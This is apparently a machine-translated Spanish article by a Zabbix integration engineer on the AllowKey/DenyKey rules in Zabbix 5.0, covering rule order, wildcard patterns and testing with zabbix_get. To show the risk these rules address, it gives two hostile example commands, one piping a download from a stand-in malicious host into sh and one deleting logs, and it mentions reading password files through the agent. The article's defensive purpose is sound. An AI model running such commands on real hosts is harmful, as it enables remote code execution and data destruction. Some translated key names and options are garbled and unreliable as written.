Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Soporte de lista negra y lista blanca para métricas del lado del agente

Tikhon Uskov, Ingeniero de integración, Zabbix

Problemas de seguridad de datos

Zabbix 5.0 tiene una nueva característica que permite mejorar la seguridad en los sistemas que usan Zabbix Agent y reemplaza el parámetro anterior Habilitar comandos remotos.

Las mejoras en la seguridad de los sistemas basados ​​en agentes se deben al hecho de que un agente puede realizar una gran cantidad de acciones potencialmente peligrosas.

  • El agente puede recopilar casi cualquier información, incluida información confidencial o potencialmente peligrosa, de archivos de configuración, archivos de registro, archivos de contraseñas o cualquier otro archivo.

Por ejemplo, utilizando la utilidad zabbix_get puede acceder a una lista de usuarios, sus directorios personales, archivos de contraseñas, etc.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Acceder a datos utilizando la utilidad zabbix_get

NOTA. Los datos solo se pueden recuperar si el agente tiene permisos de lectura en el archivo correspondiente. Pero, por ejemplo, el archivo /etc/contraseña/ legible por todos los usuarios.

  • El agente también puede ejecutar comandos potencialmente peligrosos. Por ejemplo, clave *sistema.ejecutar[]** le permite ejecutar cualquier comando remoto en los nodos de la red, incluida la ejecución de scripts desde la interfaz web de Zabbix que también ejecuta comandos en el lado del agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • En Linux, el agente se ejecuta de forma predeterminada sin privilegios de root, mientras que en Windows se ejecuta como un servicio como Sistema y tiene acceso sin restricciones al sistema de archivos. En consecuencia, si no se realizan cambios en los parámetros del Agente Zabbix después de la instalación, el agente tiene acceso al registro, al sistema de archivos y puede ejecutar consultas WMI.

En versiones anteriores el parámetro Habilitar comandos remotos = 0 Solo se permite deshabilitar métricas con la clave *.sistema.ejecutar[]** y ejecutar scripts desde la interfaz web, pero no había forma de restringir el acceso a archivos individuales, permitir o deshabilitar claves individuales que se instalaron con el agente o limitar el uso de parámetros individuales.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Usando el parámetro EnableRemoteCommand en versiones anteriores de Zabbix

Permitir clave/Denegar clave

Zabbix 5.0 ayuda a proteger contra dicho acceso no autorizado al proporcionar listas blancas y negras para permitir y denegar métricas por parte del agente.

En Zabbix 5.0 todas las claves, incluido *sistema.ejecutar[]** están habilitados y se han agregado dos nuevas opciones de configuración del agente:

Permitir clave = — controles permitidos;

Denegar clave = — controles prohibidos;

donde hay un patrón de nombre de clave con parámetros que utiliza metacaracteres (*).

Las claves AllowKey y DenyKey le permiten permitir o denegar métricas individuales según un patrón específico. A diferencia de otros parámetros de configuración, la cantidad de parámetros AllowKey/DenyKey no está limitada. Esto le permite definir claramente qué puede hacer exactamente el agente en el sistema creando un árbol de comprobaciones: claves ejecutables, donde el orden en el que se escriben juega un papel muy importante.

Secuencia de reglas

Las reglas se verifican en el orden en que se ingresan en el archivo de configuración. La clave se verifica de acuerdo con las reglas antes de la primera coincidencia, y tan pronto como la clave del elemento de datos coincida con el patrón, se permite o deniega. Después de esto, la verificación de reglas se detiene y las claves restantes se ignoran.

Por lo tanto, si un elemento coincide con una regla de permitir y de denegar, el resultado dependerá de qué regla esté primero en el archivo de configuración.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

2 reglas diferentes con el mismo patrón y una clave vfs.archivo.tamaño[/tmp/archivo]

El orden de uso de las claves AllowKey/DenyKey:

  1. reglas exactas,
  2. reglas generales,
  3. norma prohibitiva.

Por ejemplo, si necesita acceder a archivos en una determinada carpeta, primero debe permitir el acceso a ellos y luego denegar todo lo demás que no esté dentro de los permisos establecidos. Si se utiliza primero la regla de denegación, se denegará el acceso a la carpeta.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Secuencia correcta

Si necesita permitir que se ejecuten 2 utilidades a través de *sistema.ejecutar[]**, y la regla de denegación se especificará primero, las utilidades no se iniciarán porque el primer patrón siempre coincidirá con cualquier clave y las reglas posteriores se ignorarán.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Secuencia incorrecta

Patrones

Normas fundamentales

El patrón es una expresión con comodines. El metacarácter (*) coincide con cualquier número de caracteres en una posición específica. Los metacaracteres se pueden utilizar tanto en el nombre de la clave como en los parámetros. Por ejemplo, puede definir estrictamente el primer parámetro con texto, y especifique el siguiente como comodín.

Los parámetros deben estar entre corchetes [].

  • system.run[* - incorrecto
  • vfs.file*.txt] - incorrecto
  • vfs.file.*[*] - Correcto

Ejemplos de uso de comodines.

  1. En el nombre de la clave y en el parámetro. En este caso, la clave no corresponde a una clave similar que no contenga un parámetro, ya que en el patrón indicamos que queremos recibir una determinada terminación del nombre de la clave y un determinado conjunto de parámetros.
  2. Si el patrón no utiliza corchetes, el patrón permite todas las claves que no contienen parámetros y niega todas las claves que contienen el parámetro especificado.
  3. Si la clave está escrita en su totalidad y los parámetros se especifican como comodín, coincidirá con cualquier clave similar con cualquier parámetro y no coincidirá con la clave sin corchetes, es decir, se permitirá o denegará.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Reglas para completar parámetros.

  • Si se pretende utilizar una clave con parámetros, los parámetros deben especificarse en el archivo de configuración. Los parámetros deben especificarse como un metacarácter. Es necesario denegar cuidadosamente el acceso a cualquier archivo y tener en cuenta qué información puede proporcionar la métrica con diferentes grafías, con y sin parámetros.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Características de escribir claves con parámetros.

  • Si se especifica una clave con parámetros, pero los parámetros son opcionales y se especifican como un metacarácter, se resolverá una clave sin parámetros. Por ejemplo, si desea deshabilitar la recepción de información sobre la carga en la CPU y especificar que la clave system.cpu.load[*] debe estar deshabilitada, no olvide que la clave sin parámetros devolverá el valor de carga promedio.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Reglas para completar parámetros.

Notas

Ajuste

  • El usuario no puede cambiar algunas reglas, por ejemplo, las reglas de descubrimiento o las reglas de registro automático del agente. Las reglas AllowKey/DenyKey no afectan los siguientes parámetros:
    - Nombre de hostArtículo
    - Elemento de metadatos del host
    - Elemento de interfaz de host

NOTA. Si un administrador deshabilita una clave, cuando se le consulta, Zabbix no proporciona información sobre por qué la métrica o clave cae en la categoría 'NO SOPORTADO'. La información sobre las prohibiciones de ejecutar comandos remotos tampoco se muestra en los archivos de registro del agente. Esto se debe a razones de seguridad, pero puede complicar la depuración si las métricas se encuentran en una categoría no admitida por algún motivo..

  • No debe confiar en ningún orden específico para conectar archivos de configuración externos (por ejemplo, en orden alfabético).

Utilidades de la línea de comandos

Después de configurar las reglas, debe asegurarse de que todo esté configurado correctamente.

Puede utilizar una de tres opciones:

  • Agregue una métrica a Zabbix.
  • Prueba con zabbix_agentd. Agente Zabbix con opción -imprimir (-p) muestra todas las claves (que están permitidas de forma predeterminada) excepto aquellas que no están permitidas por la configuración. Y con la opción -prueba (-t) para una clave prohibida devolverá 'Clave de elemento no compatible'.
  • Prueba con zabbix_get. Utilidad zabbix_get con opción -k regresará'ZBX_NOTSUPPORTED: Métrica desconocida'.

Permitir o negar

Puede denegar el acceso a un archivo y verificarlo, por ejemplo, utilizando la utilidad zabbix_getque se deniega el acceso al expediente.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

**

NOTA. Las comillas en el parámetro se ignoran..

En este caso, es posible que se permita el acceso a dicho archivo a través de una ruta diferente. Por ejemplo, si un enlace simbólico conduce a él.

Soporte de lista negra y lista blanca para métricas del lado del agente en Zabbix 5.0

Se recomienda verificar varias opciones para aplicar las reglas especificadas y también tener en cuenta las posibilidades de eludir las prohibiciones.

Preguntas y Respuestas

pregunta. ¿Por qué se eligió un patrón tan complejo con un lenguaje propio para describir reglas, permisos y prohibiciones? ¿Por qué no era posible utilizar, por ejemplo, las expresiones regulares que utiliza Zabbix?

respuesta. Este es un problema de rendimiento de las expresiones regulares, ya que generalmente hay un solo agente y verifica una gran cantidad de métricas. Regex es una operación bastante pesada y no podemos verificar miles de métricas de esta manera. Comodines: una solución universal, sencilla y ampliamente utilizada.

pregunta. ¿Los archivos de inclusión no están incluidos en orden alfabético?

respuesta. Hasta donde yo sé, es prácticamente imposible predecir el orden en que se aplicarán las reglas si las distribuye en diferentes archivos. Recomiendo recopilar todas las reglas AllowKey/DenyKey en un archivo de inclusión, porque interactúan entre sí, e incluir este archivo..

pregunta. En Zabbix 5.0 la opción 'Habilitar comandos remotos =' falta en el archivo de configuración y solo están disponibles AllowKey/DenyKey.

Respuesta. si eso es correcto.

Gracias por su atención!

Fuente: habr.com

Añadir un comentario